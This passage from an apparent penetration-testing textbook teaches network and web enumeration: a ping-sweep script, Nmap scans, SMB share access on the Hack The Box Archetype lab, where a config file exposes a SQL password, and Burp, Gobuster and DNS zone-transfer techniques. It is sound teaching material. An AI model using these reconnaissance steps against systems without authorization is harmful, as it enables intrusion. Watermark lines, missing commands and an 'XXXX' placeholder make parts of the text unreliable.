is a network in which all of the machines comprising it can talk directly to each other
without passing through a router. The number of bits used to identify the subnet is usually
denoted using Classless Inter-Domain Routing (CIDR) notation. For example, the subnet
192.168.1.0/24 indicates that 24 bits of the address are used to identify the network and
hide01.ir
only eight bits are used to identify hosts. An alternative to this notation is to use a
subnetwork mask of the type 255.255.255.0 which will yield the network portion of an IP
address. Masks work by taking the binary representation of the mask and the binary
representation of the IP address and performing a logical "and" operation on the two
numbers. When two bits in the same position are both 1, the result of the operation will be
1. If either bit is 0, the result of the and operation will be 0. For example, the address
192.168.1.1 and the network mask 255.255.255.0 in binary are:
1 11000000101010000000000100000001 (192.168..1)
2 11111111111111111111111100000000 (255.255.55.0)
3 11000000101010000000000100000000 (192.168.1.0)
The result of the and operation is 192.168.1.0 which is the network that the host
192.168.1.1 belongs to.
In addition to the IP address of the machine, TCP/IP needs to know the specific port
number that the server is listening on. Port numbers range from 0 and 65,535. Depending
on the type of communication, the client may also be listening on a port for the server to
send data to. In the example shown in Figure 2-2, the client is listening on port 6001 and is
communicating with a server on the machine at 192.168.0.6 and port 8080.
Much of what we will cover regarding network mapping and enumeration relies on the way
in which TCP forms its connections during connection establishment between two
machines. This process is called the TCP three-way handshake (Figure 2-3), and it involves
the exchange of several packets that ensure both devices are available for the
communication. During the handshake, each party shares an initial sequence number with
the other party and the other party to acknowledge it. This sequence number is incremented
each time a message is sent to the other party, allowing the two parties to keep track of
which messages have been received. The handshake starts with the client sending a SYN
(synchronization) packet to the server machine with a randomly chosen sequence number.
hide01.ir
The SYN is actually a flag in the header portion of the packet. The server responds with a
packet that has both he SYN and ACK (acknowledgement) flags set. Finally, the client
responds with an ACK message of its own. If a client sends a SYN packet to a port that is
closed or where there is no application listening, the response will be a message with the
RST (reset) flag set. If no response is received after sending a SYN packet, the assumption
is that the port is being filtered (blocked) by a firewall.
1 #!/bin/bash
2 host_is_up() {
3 ping -c 1 -w 1 "${ip}" > /dev/null
4 }
5 for i in {1..254}; do
6 ip="10.0.1.${i}"
7 if host_is_up "${ip}"; then
8 echo "${ip}"
9 fi
10 done
In this code, we enter a loop, incrementing the variable i during each iteration, from 1 to 254
v. We use this number to create a new IP address using a network portion "10.0.1" and
adding the variable i as the host portion (note that you could pass this portion in as an
argument to the script). The code then calls the host_is_up function w with the newly
created IP address as an argument. The host_is_up function sends a ping (-c 1) and waits
one second for a reply (-w 1) u. This function will return a status code indicating whether
the ping was successful, so we check for this code. If successful, we print IP address of the
discovered host.
Through this script alone, you’ve essentially built a network discovery tool. As you’ll see
shortly, though, most network discovery tools actually do a bit more than a sending simple
ICMP echo requests.
One of the first network enumeration tasks you’ll do once you’ve found an available host is
discover open ports on this target. This is because we are interested in what services are
hide01.ir
running on the machine that we can potentially communicate with and therefore, exploit.
Certain well-known ports are associated with specific protocols and services. These ports,
designated the Internet Assigned Numbers Authority (IANA), are ports 0 – 1,023 and these
are reserved for well-known services such as FTP, SSH, HTTP, and DNS Ports numbered
between 1,024 and 49,151 are called registered ports and are usually product and company
specific. Dynamic ports, those between 49,152 and 65,535, are used for temporary
connections or for private use. You should memorize certain well-known ports, as it makes
reading Nmap scans and understanding services that use them, that much easier. After
enough scanning, you’ll come to recognize them. They are shown here:
21 FTP TCP
22 SSH TCP,UDP
23 Telnet TCP,UDP
69 TFTP
80 HTTP TCP
88 Kerberos Authentication
161/162 SNMP
389 LDAP
445 SMB
The task of discovering open ports is not always easy. For a start, different operating
systems implement slightly different responses to network packets arriving at a port. A
machine may be behind a firewall, which determines what network traffic is allowed
through and how open or closed ports appear to a scanner. But let’s start with the basics
and go on from there.
Nmap (https://Nmap.org/) is many people’s go-to network scanner of choice and comes
pre-installed on Parrot OS. This network mapper tool allows you to discover hosts, and then
map the ports and software services behind those ports running on a machine.
Try scanning a publicly available machine, scanme.org, using Nmap’s default command, as
follows:
By default, Nmap checks that the host is on the network by doing a ping scan of it. But
although it is called a ping scan (or sometimes a ping sweep), Nmap actually tries four
different approaches to seeing if the host is up. The first is an ICMP echo request (an actual
ping), the second sends a TCP SYN packet to port 443, and the third, a TCP ACK packet to
port 80. Finally, the fourth is an ICMP timestamp request. The benefit of doing a variety of
different scans is that it increases the chances of at least one succeeding in detecting the
host if a firewall is set up to block pings for example.
Having determine that the host is up, Nmap will perform a SYN scan of the top 1000 ports,
giving a report of the ports that are open. A SYN scan consists of sending SYN messages
as if starting a TCP three-way handshake and seeing if the host responds with the
SYN/ACK packet, which indicates an open port. If it receives an RST flag, it knows the port
is closed, and it will mark the port as “filtered” if there is no response. The SYN scan is also
known as a “stealthy” scan, because most hosts don’t notice these attempts to connect.
To do a SYN scan, though, you need to have root privileges (which is why we entered sudo
to run this command). If you aren’t running Nmap as root, you’ll have to use a full TCP
connect scan using the -sT flag:
In this case, Nmap fully connects to the port by performing the entire three-way handshake.
This tends to be less efficient than the SYN scan, and noisier, although most good Intrusion
Detection Systems (IDS) will detect both types of scans. The -sT scan should return the
same results.
hide01.ir
Exercise: Network Enumeration of the
Archetype box
To practice using Nmap, let’s scan a machine on Hack The Box. Archetype is one of the
site’s introductory tutorial machines, located in the Starting Point section of the site, under
Labs in the left-hand menu (Figure 2-2). Unlike other machines on HackTheBox, the Starting
Point machines are always running and so can be accessed directly using the machine's IP
address.
To access any Hack The Box machine you need to connect to the network via a VPN. In the
case of Archetype, there is a special VPN configuration file for the Starting Point machines.
Download the file by clicking the VPN Connection link in the Dashboard page. To run the
VPN, use openvpn:
1 ┌─[rin@parrot]─[~/access]
2 └──╼ $sudo openvpn rin-startingpoint.ovpn
In this exercise, we’ll use Nmap to enumerate all open ports on the machine. Then we’ll walk
through an example of what you can do with the services you discover: after finding open
ports related to the Windows file sharing technology SMB we’ll use three different
approaches to enumerating SMB file shares and their contents. We will then mount an SMB
share to make it accessible on our Parrot box and go through its contents to look for
credentials.
Running Nmap
To run a full TCP port scan, which scans all 65,5535 ports, use the following Nmap
command:
hide01.ir
sudo nmap -v -sC -sV --min-rate=1000 -T4 -p- archetype.htb -oN nmap/tcp-full
This command attempts to perform a full TCP SYN scan as fast as possible. We need to
use sudo to allow Nmap to do a SYN scan. The argument -p- tells Nmap to scan all ports.
Because we specified no option for the type of scan to do, Nmap does a SYN scan of TCP
ports by default. The argument –min-rate=1000 tells Nmap to send probes at a rate of at
least 1,000 per second. The -T4 argument tells Nmap to do an aggressive timing scan (the
default is T3) which essentially makes the scan faster. The -v makes the output verbose,
printing out the discovered ports and their status as the command executes.
Next, we run some scripts. Nmap can run scripts written in the Lua programming language
with its Nmap Scripting Engine (NSE). The -sC flag tells Nmap to run all of its default
scripts, which will do things like find vulnerabilities, look for default attributes and
behaviors in software, and a range of other things. The script http-favicon.nse for example,
will retrieve the favorites icon (favicon) from a website and compare it against known
favicons from specific products, printing the product name if it is a match. This is just
another way of finding out what product we are dealing with.
The -sV flag tells Nmap to try to get version information for all software that it finds. Finally,
the -o flag is the output and -oN saves all output from Nmap in Nmap format (normal
format). This format saves information that is normally printed to the terminal but without
any warnings and other runtime output.
When you run this command on Archetype, you should receive output like the following:
1 ┌─[✗]─[rin@parrot]─[~/boxes/StartingPoint/Archetype]
2 └──╼ $ sudo nmap -v -sC -sV --min-rate=1000 -T4 -p- archetype.htb \
3 -oN nmap/tcp-full
4 <SNIP>
5 PORT STATE SERVICE VERSION
6 135/tcp open msrpc Microsoft Windows RPC
7 u 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
8 v 445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-d
9 w 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
10 | ms-sql-ntlm-info:
11 | Target_Name: ARCHETYPE
12 | NetBIOS_Domain_Name: ARCHETYPE
13 | NetBIOS_Computer_Name: ARCHETYPE
14 | DNS_Domain_Name: Archetype
15 | DNS_Computer_Name: Archetype
16
hide01.ir
|_ Product_Version: 10.0.17763
17 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
18 | Issuer: commonName=SSL_Self_Signed_Fallback
19 | Public Key type: rsa
20 | Public Key bits: 2048
21 | Signature Algorithm: sha256WithRSAEncryption
22 | Not valid before: 2020-10-01T12:43:48
23 | Not valid after: 2050-10-01T12:43:48
24 | MD5: b89e 499d adf4 9f0b 35f3 03ca 682e 7a8d
25 |_SHA-1: d6e4 4a18 723d 6e1c 286a c963 4370 b663 934a 5317
26 |_ssl-date: 2020-10-08T13:33:45+00:00; +15m45s from scanner time.
27 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
28 |_http-server-header: Microsoft-HTTPAPI/2.0
29 |_http-title: Not Found
30 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
31 |_http-server-header: Microsoft-HTTPAPI/2.0
32 |_http-title: Not Found
33 49664/tcp open msrpc Microsoft Windows RPC
34 49665/tcp open msrpc Microsoft Windows RPC
35 49666/tcp open msrpc Microsoft Windows RPC
36 49667/tcp open msrpc Microsoft Windows RPC
37 49668/tcp open msrpc Microsoft Windows RPC
38 49669/tcp open msrpc Microsoft Windows RPC
39 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:
40 cpe:/o:microsoft:windows
41 x Host script results:
42 |_clock-skew: mean: 2h56m12s, deviation: 3h34m42s, median: 1h20m10s
43 | ms-sql-info:
44 | 10.10.10.27:1433:
45 | Version:
46 | name: Microsoft SQL Server 2017 RTM
47 | number: 14.00.1000.00
48 | Product: Microsoft SQL Server 2017
49 | Service pack level: RTM
50 | Post-SP patches applied: false
51 |_ TCP port: 1433
52 | smb-os-discovery:
53 | y OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6
54 | Computer name: Archetype
55 | NetBIOS computer name: ARCHETYPE\x00
56 | Workgroup: WORKGROUP\x00
57 |_ System time: 2021-02-03T21:06:58-08:00
58 | z smb-security-mode:
59 | account_used: guest
60 | authentication_level: user
61 | challenge_response: supported
62 |_ message_signing: disabled (dangerous, but default)
63 | smb2-security-mode:
64 | 2.02:
65 |_ Message signing enabled but not required
66 | smb2-time:
67
hide01.ir
| date: 2021-02-04T05:06:54
68 |_ start_date: N/A
Notice that Nmap has identified the operating system as Windows Server 2019 Standard
17763 y. Also, you can see that file sharing is enabled because ports 139 u and 445 v are
open. These ports are used for the Server Message Block (SMB), a protocol we'll dive
deeper into shortly. These ports are always worth exploring to see if the machine is sharing
folders that anonymous and unauthenticated users can accessible. Next, notice that port
1433 is running Microsoft SQL Server 2017 14.00.1000.00 w. When you discover any
software like this, you can use information about the service and its version to look for
known vulnerabilities in it.
You’ve asked Nmap to run all relevant scripts, and the results from those is detailed in the
output x. As you can see, these scripts tell us more about the MSSQL and SMB services
running on this box. Let’s see what we can do with this information. For MSSQL, you’re told
that there have been no patches installed, so this service is considered to be a vanilla RTM
(Release to Manufacturing) install.
Maybe we’ll be able to find credentials to it in the SMB shares. As you can see, there are
details of the security implemented for versions 1 and 2 of SMB, and from this information,
it looks like you will be able to use SMB version 1 without any credentials; Nmap shows
that the ports involved with SMB are open and that guest access was allowed z.
Once you’ve discovered open ports on a system, you can explore the services running on
those systems to figure out whether they’re vulnerable. One useful service you’ll commonly
discover is Server Message Block (SMB), a messaging protocol that provides access to
shared files, printers, and serial ports.
The most famous exploit of SMB, EternalBlue (CVE-2017-0144), uses specially crafted SMB
packets against SMB v1 implementations to allow unauthenticated attackers to execute
code on the system remotely. Originally developed by the US National Security Agency, the
exploit was leaked to the world by a hacker group called the Shadow Brokers in 2017 and
became the main vector for the WannaCry and NotPetya ransomware attacks.
hide01.ir
The key vulnerability you’ll find in SMB are misconfigurations that grant overly permissive
access, especially unauthenticated access to file shares or printers. And as you learned
from the Nmap script, you might be able to access Archetype’s file shares without
credentials.
Enumerating Shares
Let’s try to enumerate file shares on the system so we can see any of them are accessible.
We can use a number of tools to do this. The first is Nmap itself, using the script smb-
enum-shares.nse:
Another tool we can use is smbclient which comes pre-installed on Parrot OS. Like Nmap's
SMB share enumeration script, it will say whether it has found any shares visible from the
machine. However, it doesn't say whether any of those shares are accessible by an
anonymous access:
1 $ smbclient -N -L archetype.htb
2 Sharename Type Comment
3 --------- ---- -------
4 ADMIN$ Disk Remote Admin
5 backups Disk
6 C$ Disk Default share
7 IPC$ IPC Remote IPC
8 SMB1 disabled -- no workgroup available
A third tool that is found on Parrot OS is smbmap, which again will do what the other two
tools have done. Like Nmap, will give access for the permissions on the shares:
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation
Of these approaches, smbclient does not reveal permissions information, which makes the
other tools more informative in this case. For smbmap and crackmapexec, you have to
specify a username explicitly. In this case, it doesn’t matter what username you choose; it
just can’t be an empty string.
From all of the tools you ran, you can see that the “guest” user has unauthenticated read
access to the folder called backups. To explore this shared folder, you can mount the share
directly using the command mount. Mounting means that you map the share to a local
drive and then can access it as if it were local:
The other way to explore the share is with the smbclient tool. This command is similar to
FTP; it provides a prompt from which files and directories within the share can be accessed:
1 ┌─[✗]─[oztechmuse@parrot]─[~/boxes/StartingPoint/Archetype]
2 └──╼ $smbclient -N \\10.10.10.27\backups
On the Archetype machine, in the backups folder, notice that there is an MS SQL server
integration service dtsconfig file, which is used to configure packages that are integrated
with MS SQL server. The dtsconfig file is called prod.dtsConfig. Let’s look at its contents:
1 <DTSConfiguration>
2 <DTSConfigurationHeading>
3 <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..."
4 GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
5 </DTSConfigurationHeading>
6 <Configuration ConfiguredType="Property"
7 Path="\Package.Connections[Destination].Properties[ConnectionString]"
8 ValueType="String">
9 <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;
10 User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;
11 Provider=SQLNCLI10.1;Persist Security Info=True;
12 Auto Translate=False;
13
hide01.ir
</ConfiguredValue>
14 </Configuration>
15 </DTSConfiguration>
Inside, the file contains a username and password that can be used to access MS SQL
server on the machine (line 6). This means you could log into the database using an
interactive command line tool and, in this case, execute shell commands. We will come
back to the exploitation of MS SQL in Chapter 3.
hide01.ir
Website Enumeration
Web applications are a prime target for attackers because they are generally externally
facing; that is, they are directly accessible to the public. They also employ a variety of
technologies to create functionality on the site designed to respond to users in real time.
Moreover, the developers who program them haven’t traditionally had much experience in
security. These dynamic websites may have exploitable vulnerabilities that an attacker
can take advantage of.
Web servers, the software that host websites, are programs responsible for sending the
various files needed to display a webpage in response to a client’s requests. The client,
which is usually a browser, then uses those files to display the webpage to the user.
Machines serve websites over the Hypertext Transfer Protocol (HTTP), which you can think
of as the language of web communications.
You can examine these HTTP requests and responses using an application called Burp
Suite. Burp acts as a proxy server: in other words, it intercepts HTTP requests from a
browser and passes the request to the server, then receives the HTTP response from the
sever before passing it to the client. In doing so, Burp allows you to view the requests and
responses generated when you perform various actions on a website, such as click buttons
or fill out forms. As you’ll soon see, this information will become important in the
exploitation of websites.
You can start Burp Suite by selecting it from the Applications menu in Parrot OS under
Pentesting > Most Used Tools > burpsuite. By default, Burp starts a proxy listener on port
8080, as you can see noted in the Event log on the dashboard.
hide01.ir
HTTP usually communicates on port 80, while the encrypted version of the protocol,
HTTPS, usually communicates on port 443. (An Nmap run with scripts and versions (-sC
and -sV), will report web servers running on different ports if it finds them.) Because Burp is
a proxy and intercepts requests, it listens on port 8080.
Burp has a range of capabilities, including capturing HTTP traffic, editing requests before
sending them to a server, and even fuzzing the URLs and data in requests. URL fuzzing is
the process of substituting different parts of the URL with words from a dictionary in order
to discover the structure of the website. We can do this because, typically, a website uses a
URL structure that map directly onto a directory structure under the root directory from
which the website is run. The main thing we’ll use it for, however, is its interception and
forwarding capabilities.
Although Burp has a built-in browser, you’ll have more flexibility if you use Firefox. You
could directly configure Firefox to use the proxy, but constantly changing the configuration
between proxied and non-proxied access would be tedious. Instead, you can use a browser
add-on, such as FoxyProxy. To install FoxyProxy, add it to Firefox from its installation page
(https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/\).
hide01.ir
Once FoxyProxy is installed, you can configure a proxy setting for Burp in the Options tab.
Specify the IP address of the proxy to be the localhost address 127.0.0.1 and the port
number 8080.
Let’s create our own web server so we can browse to it, then view the traffic this
communication generates. We will create a test directory and a test file index.html. The
name of the file is not important, but we chose it because the file for a website’s homepage
is usually called index.html. Then start a Python web server on port 8000:
1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $python3 -m http.server 8000
3 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
The http.server module will listen for HTTP GET requests on port 8000 and then serve the
files requested from the directory it is running in.
Capturing Traffic
In Burp, select the Proxy tab and make sure that the Intercept is On button is selected.
Switch on the Burp proxy in FoxyProxy, then access http://127.0.0.1:8000/index.html in the
hide01.ir
browser. The request should hang in the browser as it is intercepted in Burp. Its contents
should be displayed in the Raw window.
Send this request to the Repeater tab in Burp using CTL-R, or right-clicking the window and
selecting Send to Repeater. The Repeater in Burp allows requests to be viewed, edited, and
then sent to the destination. It’s called the Repeater because this action can be repeated. We
can now either drop the request or forward it to the server. You can see the history of all
requests going through the proxy in the HTTP history tab (the second tab in the Proxy
section). If you notice a number of requests from Firefox for the URL
http://detectportal.firefox.com/ you can disable this by typing about:config in the URL
search bar of Firefox, searching for “portal,” and switching network.captive-portal-
service.enabled to false.
In the Repeater tab, you should see the request displayed in an editable window (Figure 2-
5). If you click Send, this request will be sent to the server, and the reply will be displayed in
the Response window. Let’s take a closer look at this HTTP request so you can understand
its components.
HTTP Requests
The request you sent to the Repeater window is an example of an HTTP version 1.1
request. It should look like this:
hide01.ir
1 GET /index.html HTTP/1.0
2 Host: 127.0.0.1:8000
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/
The first line of all HTTP requests, called the request line, specifies the HTTP method used.
HTTP methods identify the action of the request, and the two most commonly used ones
are GET and POST, described below. The request line also specifies the uniform resource
identifier (URI) or resource path being accessed (in this case /index.html) and the HTTP
version (HTTP/1.1). The rest of the lines are header fields, which provide the server with
additional information. The Host field provides the site’s host name and port, while the User-
Agent field specifies details of the client sending the request, in this case Firefox. Optionally,
there may be data in the body of the request, which comes after the headers. The request
shown here doesn’t have a body.
A GET request specifies that the requestor wants a resource returned to it. This resource
might be an HTML file, an image, a Javascript file, etc. To further specify the nature of the
requested content, the URL in a GET request can also include parameters at the end of the
request, after a ? symbol and separated from each other by the & character. For example,
consider the following URL:
/update.php?id=1234&newname=newfile
This request URL passes two parameters: an id field with the value 1234 and a newname
value newfile. The parameters are used by the application
On the other hand, POST requests include the parameters of the request in the body and not
in the URL. POST requests are usually used when invoking functionality on the server such
as processing a form, or uploading a file. A post request containing the information of the
previous example might have a body like the following:
id=1234&newname=newfile
hide01.ir
The body could also contain JSON formatted data.
HTTP Responses
When an HTTP server receives a request, it responds with a message that has a similar
format to the request. A response looks something like this:
1 HTTP/1.0 200 OK
2 Server: SimpleHTTP/0.6 Python/3.9.1+
3 Date: Wed, 17 Feb 2021 02:14:21 GMT
4 Content-type: text/html
5 Content-Length: 37
6 Last-Modified: Thu, 04 Feb 2021 05:42:45 GMT
The first line is the status line and contains the protocol, HTTP/1.0 and then a status code
(200) followed by the status text (OK). It is worth familiarizing yourself with a few of the
more common status codes because you will encounter them when fuzzing, or when
interacting with HTTP servers using Burp. Apart from 200, which means that the request
was accepted and generally that it did what the request asked for, there is 403 which means
"forbidden", usually because you are not authorized for that resource, 404 which means that
the resource was "not found". Codes 301 and 307 are redirects, telling the requestor that the
resource has moved to a different address. After the status line, there are header fields that
include the server type and version, the date and then information about the type and length
of the content that is being returned. The body of the response contains the actual content.
Directory Fuzzing
When learning about a website, you’ll probably want to know its layout and, if possible,
information about files that comprise it. These files may be HTML files, or files that contain
code written in languages such as PHP, ASP, ASPX, and Java. Although we might not be
able to get access to the contents of the files we find, their names might give clues as to
hide01.ir
what functionality the website provides. A file called upload.php, for example, strongly
suggests that the website supports file uploads of some sort.
One way to discover this information is to fuzz the URLs used in HTTP requests, starting
with the root of the URL, which is equivalent to the site’s IP address. For instance, if we were
to fuzz a URL http://127.0.0.1:8000/, we could simply add well-known directory names
from a wordlist after the last slash, such as “uploads,” “backups,” or “admin.” To look for
files, we could do the same, appending file extensions like .html, .php, .java, and so on.
You can use Gobuster (and other applications such as dirb, dirbuster, wfuzz) to fuzz a
website and discover its directory structure and pages. There are a range of things you are
trying to look out for when fuzzing a website. Some of those are:
The directory listing feature not disabled: This would allow us to see the entire contents
of the directory.
Upload directories: This is useful if we manage to find a way to upload files that we
can execute. In order to execute the files, we need to know where they were uploaded to.
Program files that can be tested for uploading: If the website will execute code, we can
try uploading files that will execute commands like a web shell, or even code that will
give a reverse shell. Exploiting a website for local or remote file inclusion (LFI/RFI)
allows us to either view the contents of local or remote files or execute them.
Source code repository directories: Examples include .git. These directories may
contain source code control files that will allow us to restore older versions of the code,
which can tell us how the site functions. They might also contain information such as
credentials.
Sample applications that are still accessible: Some web servers come with example
applications that demonstrate features of the product and are accessible by default
when the server is installed.
Interesting files: These might include backup files, archives, files containing data, and
notes.
The key to your success in directory fuzzing is choosing the best word list or combination
of word lists to try. You can find a collection of wordlists pre-installed on Parrot OS in
/usr/share/wordlists.
1 mkdir www
2 cd www
3 mkdir uploads
4 mkdir images
5 mkdir css
6 mkdir secret
7 touch index.php
8 touch index.html
9 touch upload.php
10 touch config.php
Here, we use the mkdir command create a series of directories and the touch command to
create empty files with common names.
Running Gobuster
Start the Python web server you created on port 8000 and run Gobuster:
1 ┌─[rin@parrot]─[~/boxes/book/www]
2 └──╼ $gobuster dir -w /usr/share/wordlists/dirbuster/\
3 directory-list-2.3-medium.txt -x .php,.html -u http://127.0.0.1:8000
4
5 ===============================================================
6 Gobuster v3.0.1
7 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
8 ===============================================================
9 [+] Url:
10 http://127.0.0.1:8000
11
12 [+] Threads: 10
13 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
14 [+] Status codes: 200,204,301,302,307,401,403
15 [+] User Agent: gobuster/3.0.1
16 [+] Extensions: php,html
17 [+] Timeout: 10s
18 ===============================================================
19 2021/02/04 17:02:40 Starting gobuster
20 ===============================================================
21 /index.php (Status: 200)
22
hide01.ir
/index.html (Status: 200)
23 /images (Status: 301)
24 /uploads (Status: 301)
25 /upload.php (Status: 200)
26 /css (Status: 301)
27 /config.php (Status: 200)
28 /secret (Status: 301)
The dir argument tells Gobuster we’ll do a directory scan, the -w flag specifies the wordlist to
use, the -x flag specifies the extensions of files to search for, and the -u flag specifies the
target URL to which Gobuster will append the words from the wordlist. As you can see, it
takes very little time to identify all of the directories and files we created.
Web servers often host multiple sites with different URLs by using virtual hosts. This allows
one web server to give each of its sites a meaningful name using subdomains. For
example, the URL of the subdomain www.company.com might belong to the main public
website, but it might have other sites, such as shoppingcart.company.com, linked to the
same server.
It is useful to be able to enumerate these subdomains because they may lead to hidden
functionality and information. While it may be possible to discover the subdomains from
the source code of public sites, fuzzing is sometimes the only way of uncovering them.
Technically, virtual hosts work by putting the virtual host name in a HOST header of the
HTTP request, as detailed above. The web server will use this header to decide which site to
serve to the client. We can fuzz virtual hosts explicitly with gobuster using syntax similar to
the directory fuzzing example. We’ll just use the vhost argument instead of dir:
1 ┌─[rin@parrot]─[~]
2 └──╼ $gobuster vhost -w /usr/share/SecLists/Discovery/DNS/\
3 subdomains-top1million-110000.txt -u http://company.com
4
hide01.ir
Here we’re using a different wordlist from SecLists
(/usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt). SecLists is a
series of files containing commonly used words used for fuzzing of passwords, directories,
virtual hosts, and so on.
Each virtual host needs its own entry in a DNS server. The Domain Name System (DNS)
nameserver is the server that is responsible for translating hostnames, such as
www.company.com, into their corresponding IP address. When you enter a hostname in
your browser, the request goes to a DNS server, which forwards it to the IP address hosting
the site. Different nameservers handle hostnames belonging to different domains.
In the enumeration phase of an attack, probing DNS for a target can reveal information
about the target’s infrastructure, such as any mail servers associated with the target, where
the services are hosted, and, most importantly, its applications, intranets, and externally
facing websites. For example, a hostname such as webmail.company.com is likely to
identify the company’s email system, while aintranet.company.com will likely identify an
internal website that the company uses for internal purposes.
DNS organizes the information it holds in administrative groups called zones. A zone
collection of DNS entries relating to a particular domain name such as wikipedia.org or any
subdomain such as en.wikipedia.org. You can obtain potential hostnames from DNS
through a technique, called a zone transfer, normally used by administrators. A zone
transfer sends the information held within one DNS nameserver to another nameserver. If
zone transfers are enabled on a name server, we can simply request the transfer to get all of
the information related to a zone.
hide01.ir
DNS name servers normally listen on UDP port 53. If they have zone transfers enabled, they
will also listen on TCP port 53. You can find the DNS server responsible for a given domain
by using the tool nslookup. For example, run the following command to look up the
nameservers for the domain wikipedia.org:
1 ┌─[rin@parrot]─[~/book]
2 └──╼ $nslookup -type=ns wikipedia.org
3 Server: 192.168.114.1
4 Address: 192.168.114.1#53
5 Non-authoritative answer:
6 wikipedia.org nameserver = ns0.wikimedia.org.
7 wikipedia.org nameserver = ns1.wikimedia.org.
8 wikipedia.org nameserver = ns2.wikimedia.org.
The argument -type=ns tells nslookup that we’re looking for nameservers for the domain
name given as the argument. You should see a list of nameservers returned.
Here the -l <zone> argument tells the host tool to list the zone specified. XXXX
The argument -t axfr tells dig to request a zone transfer from the nameserver <dns server>
for the zone <zone>.
Keep in mind that administrators will often limit zone transfers to specific IP addresses, so
you’ll need to find subdomains and hostnames in other ways. As mentioned previously,
when we are looking for sites that are not necessarily linked to the public website and
hide01.ir
discoverable by looking at its links. Knowing the hostnames of a domain can potentially
give us candidates for web virtual hosts.
hide01.ir
Exercise: ForwardSlash
Discovering Ports and Services
As we did in the previous exercise, let’s start with an Nmap scan to identify the host’s ports
and services. This scan should reveal a Linux machine running an Apache web server on
port 80 and SSH on port 22:
1 ┌─[✗]─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $sudo nmap -v -sC -sV --min-rate=1000 -T4 -p- forwardslash.htb \
3 -oN Nmap/tcp-full
4 <SNIP>
5 PORT STATE SERVICE VERSION
6 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.
7 <SNIP>
8 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
9 | http-methods:
10 |_ Supported Methods: GET HEAD POST OPTIONS
11 |_http-server-header: Apache/2.4.29 (Ubuntu)
12 |_http-title: Backslash Gang
13 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Now let’s get some information about how ForwardSlash is using virtual host names for its
site. In Burp, intercept the initial request sent to the server. Enable the Burp proxy in
FoxyProxy on Firefox and send the request to the Repeater using CTL-R. Then sending the
request to the server.
hide01.ir
Notice that when you enter ForwardSlash’s IP address, the browser page gets redirected to
forwardslash.htb: after sending the request, you should receive a response status code of
302 Found. This 302 status code tells the browser to redirect to http://forwardslash.htb.
We could choose to follow the redirect in Burp Suite, but instead, try changing the original
request by replacing 10.10.10.183 with forwardslash.htb which illustrates that it is this
value that determines the virtual host :
1 GET / HTTP/1.1
2 Host: forwardslash.htb
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 DNT: 1
8 Connection: close
9 Upgrade-Insecure-Requests: 1
We replace the HOST field value with the virtual host (line 2) before sending the request.
This time, the response status code is 200 OK, which means a page has been returned.
Add the hostname forwardslash.htb into the /etc/hosts file, along with the host’s IP
address, and then return to http://forwardslash.htb in the browser. You should see a
seemingly defaced home page saying that the site has been "pwned" by the Backslash
Gang.
hide01.ir
We can use gobuster to discover the structure of the site, as we did before. This time,
though, let’s use a different wordlist, common.txt, that is part of the wordlists for the pre-
installed application dirb, in /usr/share/wordlists/dirb
1 ┌─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $gobuster dir -t 50 -w /usr/share/wordlists/dirb/common.txt -u http:/
3 <SNIP>
4 /.hta (Status: 403)
5 /.htpasswd (Status: 403)
6 /.htaccess (Status: 403)
7 /index.php (Status: 200)
8 /server-status (Status: 403)
This output doesn't reveal anything particularly interesting, other than the fact that the
server is running PHP; we know this because the home page is index.php. Also notice that
the /server-status page returns a 403 status code, which means we don't have access to it.
Let’s try another search and specify some extensions of .txt, .php and .html with the -x flag:
hide01.ir
1 ┌─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $gobuster dir -t 50 -w /usr/share/wordlists/dirb/common.txt \
3 -u http://forwardslash.htb -x php,txt,html
4 <SNIP>
5 /index.php (Status: 200)
6 /index.php (Status: 200)
7 /note.txt (Status: 200)
8 /server-status (Status: 40
This returns a file, note.txt which we can view with the curl command:
1 ┌─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $curl http://forwardslash.htb/note.txt
Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I
know... That name... Anyway I am just leaving this note here to say that we still have that
backup site so we should be fine.
-chiv
This note suggests that there is a backup site, which means that it’s likely to be a virtual
host. Let’s try to find it. Return to Burp, where you should still have the original request in the
Repeater tab, and change the Host field to backup.forwardslash.htb. (This seems like a
likely name for the backup site.) When you send this to the server, you should get a 302
redirect to a login.php page.
